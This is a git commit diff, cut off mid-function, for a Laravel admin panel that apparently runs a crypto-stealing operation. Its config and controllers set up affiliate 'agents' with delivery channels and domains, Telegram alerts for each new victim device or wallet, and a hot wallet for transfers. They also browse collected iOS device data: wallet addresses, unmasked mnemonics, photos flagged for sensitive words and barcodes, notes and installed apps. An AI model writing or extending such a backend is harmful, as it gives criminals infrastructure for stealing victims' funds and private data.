feature
This commit is contained in:
+21
-2
@@ -46,6 +46,10 @@ ADMIN_PASSWORD=admin123
|
||||
|
||||
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
|
||||
CORUNA_SESSION_KEY=
|
||||
# Fallback delivery hosts (overridden by 系统设置 → 投放域名)
|
||||
CORUNA_CHANNEL_DOMAINS=
|
||||
# Max channel links per agent (super-admin settings can override)
|
||||
CORUNA_MAX_CHANNELS_PER_AGENT=5
|
||||
# p7zip binary. On panel hosts with open_basedir, prefer project-local:
|
||||
# mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z
|
||||
# CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/server/bin/7z
|
||||
@@ -53,11 +57,26 @@ CORUNA_SESSION_KEY=
|
||||
# CORUNA_7Z_BIN=/usr/bin/7z
|
||||
CORUNA_7Z_BIN=
|
||||
|
||||
# Telegram (new device / new wallet only — no bot commands, no /kill)
|
||||
# Telegram (outbound alerts + inbound Nutgram commands)
|
||||
TELEGRAM_BOT_TOKEN=
|
||||
TELEGRAM_OWNER_CHAT_ID=
|
||||
TELEGRAM_WEBHOOK_SECRET=
|
||||
|
||||
# Reserved payout addresses — NOT wired (transfer skipped)
|
||||
# Hot wallet for /transfer only (never use device-collected mnemonics)
|
||||
HOT_WALLET_MNEMONIC=
|
||||
HOT_WALLET_INDEX=0
|
||||
TRON_FULL_NODE=https://api.trongrid.io
|
||||
TRON_API_KEY=
|
||||
TRON_USDT_CONTRACT=TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
|
||||
# TRANSFER_MAX_USDT=0
|
||||
# TRANSFER_MAX_TRX=0
|
||||
|
||||
# Tokenview address tracking (monitor=1 addresses)
|
||||
TOKENVIEW_API_KEY=
|
||||
TOKENVIEW_SIGN_KEY=
|
||||
# TOKENVIEW_BASE_URL=https://services.tokenview.io/vipapi
|
||||
|
||||
# Reserved payout addresses
|
||||
PAYOUT_ETH=
|
||||
PAYOUT_BTC=
|
||||
PAYOUT_TRON=
|
||||
|
||||
@@ -18,6 +18,8 @@
|
||||
/public/log/*
|
||||
!/public/log/.gitignore
|
||||
/public/storage
|
||||
/public/sync
|
||||
/public/web
|
||||
/storage/*.key
|
||||
/storage/pail
|
||||
/vendor
|
||||
|
||||
@@ -0,0 +1,115 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Validation\Rule;
|
||||
|
||||
class AdminUserController extends Controller
|
||||
{
|
||||
public function index()
|
||||
{
|
||||
return view('admin.system.admins');
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = Admin::query();
|
||||
$username = trim((string) $request->query('username', ''));
|
||||
if ($username !== '') {
|
||||
$q->where('username', 'like', '%'.$username.'%');
|
||||
}
|
||||
|
||||
$sortable = ['id', 'username', 'is_super', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$selfId = (int) auth('admin')->id();
|
||||
$data = collect($paginator->items())->map(function (Admin $a) use ($selfId) {
|
||||
return [
|
||||
'id' => $a->id,
|
||||
'username' => $a->username,
|
||||
'is_super' => (int) $a->is_super,
|
||||
'created_at' => optional($a->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($a->updated_at)->format('Y-m-d H:i:s'),
|
||||
'is_self' => $a->id === $selfId,
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function store(Request $request)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'username' => ['required', 'string', 'max:64', 'alpha_dash', Rule::unique('admins', 'username')],
|
||||
'password' => ['required', 'string', 'min:6', 'max:128'],
|
||||
'is_super' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$admin = Admin::query()->create([
|
||||
'username' => $data['username'],
|
||||
'password' => $data['password'],
|
||||
'is_super' => (int) ($data['is_super'] ?? 0),
|
||||
]);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $admin->id]]);
|
||||
}
|
||||
|
||||
public function update(Request $request, Admin $adminUser)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'password' => ['nullable', 'string', 'min:6', 'max:128'],
|
||||
'is_super' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
if (array_key_exists('is_super', $data) && $data['is_super'] !== null) {
|
||||
$newSuper = (int) $data['is_super'];
|
||||
if ($adminUser->isSuper() && $newSuper === 0 && $this->superCount() <= 1) {
|
||||
return response()->json(['code' => 1, 'msg' => '至少保留一名超级管理员'], 422);
|
||||
}
|
||||
$adminUser->is_super = $newSuper;
|
||||
}
|
||||
|
||||
if (! empty($data['password'])) {
|
||||
$adminUser->password = $data['password'];
|
||||
}
|
||||
$adminUser->save();
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
public function destroy(Admin $adminUser)
|
||||
{
|
||||
if ((int) $adminUser->id === (int) auth('admin')->id()) {
|
||||
return response()->json(['code' => 1, 'msg' => '不能删除当前登录账号'], 422);
|
||||
}
|
||||
if ($adminUser->isSuper() && $this->superCount() <= 1) {
|
||||
return response()->json(['code' => 1, 'msg' => '不能删除最后一名超级管理员'], 422);
|
||||
}
|
||||
|
||||
$adminUser->delete();
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
private function superCount(): int
|
||||
{
|
||||
return (int) Admin::query()->where('is_super', 1)->count();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Validation\Rule;
|
||||
|
||||
class AgentUserController extends Controller
|
||||
{
|
||||
public function index()
|
||||
{
|
||||
return view('admin.agents.index');
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = User::query()->withCount('channels');
|
||||
|
||||
$username = trim((string) $request->query('username', ''));
|
||||
$status = $request->query('status');
|
||||
if ($username !== '') {
|
||||
$q->where('username', 'like', '%'.$username.'%');
|
||||
}
|
||||
if ($status !== null && $status !== '') {
|
||||
$q->where('status', (int) $status);
|
||||
}
|
||||
|
||||
$sortable = ['id', 'username', 'status', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$data = collect($paginator->items())->map(function (User $u) {
|
||||
return [
|
||||
'id' => $u->id,
|
||||
'username' => $u->username,
|
||||
'status' => (int) $u->status,
|
||||
'comment' => $u->comment ?: '',
|
||||
'channels_count' => (int) $u->channels_count,
|
||||
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function store(Request $request)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'username' => ['required', 'string', 'max:64', 'alpha_dash', Rule::unique('users', 'username')],
|
||||
'password' => ['required', 'string', 'min:6', 'max:128'],
|
||||
'comment' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$user = User::query()->create([
|
||||
'username' => $data['username'],
|
||||
'password' => $data['password'],
|
||||
'comment' => $data['comment'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
]);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok', 'data' => ['id' => $user->id]]);
|
||||
}
|
||||
|
||||
public function update(Request $request, User $agent)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'password' => ['nullable', 'string', 'min:6', 'max:128'],
|
||||
'comment' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
if (array_key_exists('comment', $data)) {
|
||||
$agent->comment = $data['comment'];
|
||||
}
|
||||
if (array_key_exists('status', $data) && $data['status'] !== null) {
|
||||
$agent->status = (int) $data['status'];
|
||||
}
|
||||
if (! empty($data['password'])) {
|
||||
$agent->password = $data['password'];
|
||||
}
|
||||
$agent->save();
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
public function channels(User $agent)
|
||||
{
|
||||
$rows = Channel::query()
|
||||
->where('user_id', $agent->id)
|
||||
->orderByDesc('id')
|
||||
->get()
|
||||
->map(fn (Channel $c) => [
|
||||
'id' => $c->id,
|
||||
'channel_id' => $c->channel_id,
|
||||
'status' => (int) $c->status,
|
||||
'remark' => $c->remark ?: '',
|
||||
'links' => $c->supportLinks(),
|
||||
])
|
||||
->values();
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '', 'data' => $rows]);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,232 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use App\Services\ChannelProjectService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Validation\Rule;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
|
||||
class ChannelController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.channels.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'maxPerAgent' => Channel::maxPerAgent(),
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$q = Channel::query()->with('user:id,username');
|
||||
|
||||
if ($agent = $this->agent()) {
|
||||
$q->where('user_id', $agent->id);
|
||||
}
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$agentUserId = $request->query('agent_user_id');
|
||||
$status = $request->query('status');
|
||||
|
||||
if ($channelId !== '') {
|
||||
$q->where('channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
if (! $this->isAgentPortal() && $agentUserId !== null && $agentUserId !== '') {
|
||||
$q->where('user_id', (int) $agentUserId);
|
||||
}
|
||||
if ($status !== null && $status !== '') {
|
||||
$q->where('status', (int) $status);
|
||||
}
|
||||
|
||||
$sortable = ['id', 'channel_id', 'status', 'user_id', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$data = collect($paginator->items())->map(function (Channel $c) {
|
||||
return [
|
||||
'id' => $c->id,
|
||||
'channel_id' => $c->channel_id,
|
||||
'user_id' => (int) $c->user_id,
|
||||
'agent_username' => $c->agentLabel(),
|
||||
'remark' => $c->remark ?: '',
|
||||
'status' => (int) $c->status,
|
||||
'links' => $c->supportLinks(),
|
||||
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function randomId()
|
||||
{
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => ['channel_id' => Channel::randomChannelId()],
|
||||
]);
|
||||
}
|
||||
|
||||
public function store(Request $request, ChannelProjectService $projects)
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
try {
|
||||
$channel = DB::transaction(function () use ($data, $userId, $projects) {
|
||||
$channel = Channel::query()->create([
|
||||
'channel_id' => $data['channel_id'],
|
||||
'user_id' => $userId,
|
||||
'domains' => [],
|
||||
'remark' => $data['remark'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
]);
|
||||
|
||||
$projects->generate($channel->channel_id);
|
||||
|
||||
return $channel;
|
||||
});
|
||||
} catch (\Throwable $e) {
|
||||
$projects->deleteWebTree($data['channel_id']);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => $e->getMessage() ?: '创建失败',
|
||||
], 422);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'id' => $channel->id,
|
||||
'links' => $channel->supportLinks(),
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function update(Request $request, Channel $channel)
|
||||
{
|
||||
$this->authorizeChannel($channel);
|
||||
|
||||
if ($this->isAgentPortal()) {
|
||||
$data = $request->validate([
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
if (array_key_exists('remark', $data)) {
|
||||
$channel->remark = $data['remark'];
|
||||
}
|
||||
if (array_key_exists('status', $data) && $data['status'] !== null) {
|
||||
$channel->status = (int) $data['status'];
|
||||
}
|
||||
} else {
|
||||
$data = $request->validate([
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
if (array_key_exists('user_id', $data)) {
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
if ($userId !== (int) $channel->user_id && $userId > 0) {
|
||||
$this->assertAgentChannelQuota($userId, $channel->id);
|
||||
}
|
||||
$channel->user_id = $userId;
|
||||
}
|
||||
if (array_key_exists('remark', $data)) {
|
||||
$channel->remark = $data['remark'];
|
||||
}
|
||||
if (array_key_exists('status', $data) && $data['status'] !== null) {
|
||||
$channel->status = (int) $data['status'];
|
||||
}
|
||||
}
|
||||
|
||||
$channel->save();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => ['links' => $channel->supportLinks()],
|
||||
]);
|
||||
}
|
||||
|
||||
public function destroy(Channel $channel, ChannelProjectService $projects)
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
$this->authorizeChannel($channel);
|
||||
|
||||
$channelId = $channel->channel_id;
|
||||
$channel->delete();
|
||||
$projects->deleteWebTree($channelId);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
private function assertAgentChannelQuota(int $userId, ?int $exceptChannelId = null): void
|
||||
{
|
||||
if ($userId <= 0) {
|
||||
return;
|
||||
}
|
||||
$q = Channel::query()->where('user_id', $userId);
|
||||
if ($exceptChannelId) {
|
||||
$q->where('id', '!=', $exceptChannelId);
|
||||
}
|
||||
$count = $q->count();
|
||||
$max = Channel::maxPerAgent();
|
||||
if ($count >= $max) {
|
||||
throw ValidationException::withMessages([
|
||||
'user_id' => "该代理最多只能拥有 {$max} 条渠道链接",
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
private function authorizeChannel(Channel $channel): void
|
||||
{
|
||||
if ($agent = $this->agent()) {
|
||||
abort_unless((int) $channel->user_id === (int) $agent->id, 403);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Support\AgentScope;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Http\Request;
|
||||
|
||||
class DashboardController extends Controller
|
||||
{
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
return view('admin.dashboard.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
]);
|
||||
}
|
||||
|
||||
public function data(Request $request)
|
||||
{
|
||||
$range = (string) $request->query('range', '30d');
|
||||
[$from, $to] = $this->rangeBounds($range);
|
||||
|
||||
$channelId = trim((string) $request->query('channel_id', ''));
|
||||
$agentUserId = $this->isAgentPortal()
|
||||
? (int) ($this->agent()?->id ?? 0)
|
||||
: (int) $request->query('agent_user_id', 0);
|
||||
|
||||
$base = Device::query();
|
||||
AgentScope::applyDeviceChannelScope($base, $this->agent());
|
||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
||||
AgentScope::applyAgentUserFilter($base, $agentUserId);
|
||||
}
|
||||
if ($channelId !== '') {
|
||||
$base->where('channel_id', 'like', '%'.$channelId.'%');
|
||||
}
|
||||
|
||||
$total = (clone $base)->count();
|
||||
$newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count();
|
||||
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => [
|
||||
'total' => $total,
|
||||
'new_count' => $newCount,
|
||||
'active_count' => $activeCount,
|
||||
'range' => $range,
|
||||
'from' => $from->toDateTimeString(),
|
||||
'to' => $to->toDateTimeString(),
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: Carbon, 1: Carbon}
|
||||
*/
|
||||
private function rangeBounds(string $range): array
|
||||
{
|
||||
$now = Carbon::now();
|
||||
|
||||
return match ($range) {
|
||||
'today' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
|
||||
'yesterday' => [
|
||||
$now->copy()->subDay()->startOfDay(),
|
||||
$now->copy()->subDay()->endOfDay(),
|
||||
],
|
||||
'7d' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
|
||||
default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -2,86 +2,139 @@
|
||||
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\Wallet;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class DeviceController extends Controller
|
||||
{
|
||||
public function index(Request $request)
|
||||
use PortalAware;
|
||||
|
||||
public function index()
|
||||
{
|
||||
$filters = [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||
'model' => trim((string) $request->query('model', '')),
|
||||
'ip' => trim((string) $request->query('ip', '')),
|
||||
'ios' => trim((string) $request->query('ios', '')),
|
||||
'installed_from' => trim((string) $request->query('installed_from', '')),
|
||||
'installed_to' => trim((string) $request->query('installed_to', '')),
|
||||
];
|
||||
$agents = $this->isAgentPortal()
|
||||
? collect()
|
||||
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||
|
||||
$q = Device::query()->orderByDesc('updated_at');
|
||||
return view('admin.devices.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
]);
|
||||
}
|
||||
|
||||
if ($filters['device_key'] !== '') {
|
||||
$q->where('device_id', 'like', '%'.$filters['device_key'].'%');
|
||||
}
|
||||
if ($filters['channel_id'] !== '') {
|
||||
$q->where('channel_id', 'like', '%'.$filters['channel_id'].'%');
|
||||
}
|
||||
if ($filters['model'] !== '') {
|
||||
$q->where('device_model', 'like', '%'.$filters['model'].'%');
|
||||
}
|
||||
if ($filters['ip'] !== '') {
|
||||
$q->where('ip', 'like', '%'.$filters['ip'].'%');
|
||||
}
|
||||
if ($filters['ios'] !== '') {
|
||||
$q->where('ios_version', 'like', '%'.$filters['ios'].'%');
|
||||
}
|
||||
if ($filters['installed_from'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_from'])) {
|
||||
$q->whereDate('created_at', '>=', $filters['installed_from']);
|
||||
}
|
||||
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}$/', $filters['installed_to'])) {
|
||||
$q->whereDate('created_at', '<=', $filters['installed_to']);
|
||||
}
|
||||
public function data(Request $request)
|
||||
{
|
||||
$filters = $this->filtersFrom($request);
|
||||
$q = $this->filteredQuery($filters);
|
||||
|
||||
$devices = $q->paginate(30)->withQueryString();
|
||||
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'updated_at');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'updated_at';
|
||||
}
|
||||
$q->orderBy('devices.'.$field, $order);
|
||||
|
||||
return view('admin.devices.index', compact('devices', 'filters'));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
|
||||
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (Device $d) use ($portal) {
|
||||
return [
|
||||
'id' => $d->id,
|
||||
'device_id' => $d->device_id,
|
||||
'channel_id' => $d->channel_id ?: '',
|
||||
'device_model' => $d->device_model ?: '',
|
||||
'ios_version' => $d->ios_version ?: '',
|
||||
'ip' => $d->ip ?: '',
|
||||
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $d),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'count' => $paginator->total(),
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
public function show(Device $device, Request $request)
|
||||
{
|
||||
$tab = $request->query('tab', 'apps');
|
||||
if (! in_array($tab, ['apps', 'events', 'photos', 'notes', 'wallets'], true)) {
|
||||
$tab = 'apps';
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$tab = $request->query('tab', 'wallets');
|
||||
if (! in_array($tab, ['wallets', 'mnemonics', 'photos', 'apps', 'notes', 'events'], true)) {
|
||||
$tab = 'wallets';
|
||||
}
|
||||
|
||||
$apps = $device->apps()->orderByDesc('is_wallet')->orderBy('name')->get();
|
||||
$events = $device->events()->orderByDesc('id')->limit(500)->get();
|
||||
$photos = $device->photos()->orderByDesc('id')->limit(200)->get();
|
||||
$notes = $device->notes()->orderByDesc('id')->limit(200)->get();
|
||||
$wallets = $device->wallets()->orderByDesc('id')->get();
|
||||
$addresses = $device->addresses()->orderByDesc('id')->get();
|
||||
$addressSources = collect();
|
||||
$addressChains = collect();
|
||||
if ($tab === 'wallets') {
|
||||
$addressSources = $device->addresses()
|
||||
->whereNotNull('source')
|
||||
->where('source', '!=', '')
|
||||
->distinct()
|
||||
->orderBy('source')
|
||||
->pluck('source')
|
||||
->values();
|
||||
$addressChains = $device->addresses()
|
||||
->whereNotNull('chain_type')
|
||||
->where('chain_type', '!=', '')
|
||||
->distinct()
|
||||
->orderBy('chain_type')
|
||||
->pluck('chain_type')
|
||||
->values();
|
||||
}
|
||||
|
||||
$maskedWallets = $wallets->map(function (Wallet $w) {
|
||||
return [
|
||||
'id' => $w->id,
|
||||
'source_app' => $w->source_app,
|
||||
'mnemonic' => Wallet::maskSecret($w->mnemonic),
|
||||
'privkey' => Wallet::maskSecret($w->privkey),
|
||||
'created_at' => $w->created_at,
|
||||
];
|
||||
});
|
||||
return view('admin.devices.show', [
|
||||
'device' => $device,
|
||||
'tab' => $tab,
|
||||
'addressSources' => $addressSources,
|
||||
'addressChains' => $addressChains,
|
||||
'portal' => $this->portal(),
|
||||
]);
|
||||
}
|
||||
|
||||
return view('admin.devices.show', compact(
|
||||
'device', 'tab', 'apps', 'events', 'photos', 'notes', 'maskedWallets', 'addresses'
|
||||
));
|
||||
public function tabData(Device $device, Request $request)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$tab = (string) $request->query('tab', 'wallets');
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
$field = (string) $request->query('field', 'id');
|
||||
|
||||
return match ($tab) {
|
||||
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
|
||||
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
|
||||
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
|
||||
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
|
||||
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
|
||||
'events' => $this->paginateEvents($device, $field, $order, $limit, $page),
|
||||
default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]),
|
||||
};
|
||||
}
|
||||
|
||||
public function photo(Device $device, int $photo)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$row = $device->photos()->whereKey($photo)->firstOrFail();
|
||||
abort_unless(Storage::disk('local')->exists($row->path), 404);
|
||||
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
|
||||
@@ -89,4 +142,242 @@ class DeviceController extends Controller
|
||||
return response(Storage::disk('local')->get($row->path), 200)
|
||||
->header('Content-Type', $mime);
|
||||
}
|
||||
|
||||
private function authorizeDevice(Device $device): void
|
||||
{
|
||||
if ($agent = $this->agent()) {
|
||||
$ids = AgentScope::channelIdsFor($agent);
|
||||
abort_unless($device->channel_id && in_array($device->channel_id, $ids, true), 403);
|
||||
}
|
||||
}
|
||||
|
||||
private function paginatePhotos(Device $device, Request $request, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'size', 'x_hit', 'upload_count', 'process_index', 'text_count', 'barcode_count', 'created_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
|
||||
$q = $device->photos();
|
||||
// sensitive=1 → x_hit > 0(含敏感词)
|
||||
if ((string) $request->query('sensitive', '') === '1') {
|
||||
$q->where('x_hit', '>', 0);
|
||||
}
|
||||
|
||||
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (Photo $photo) use ($device, $portal) {
|
||||
return [
|
||||
'id' => $photo->id,
|
||||
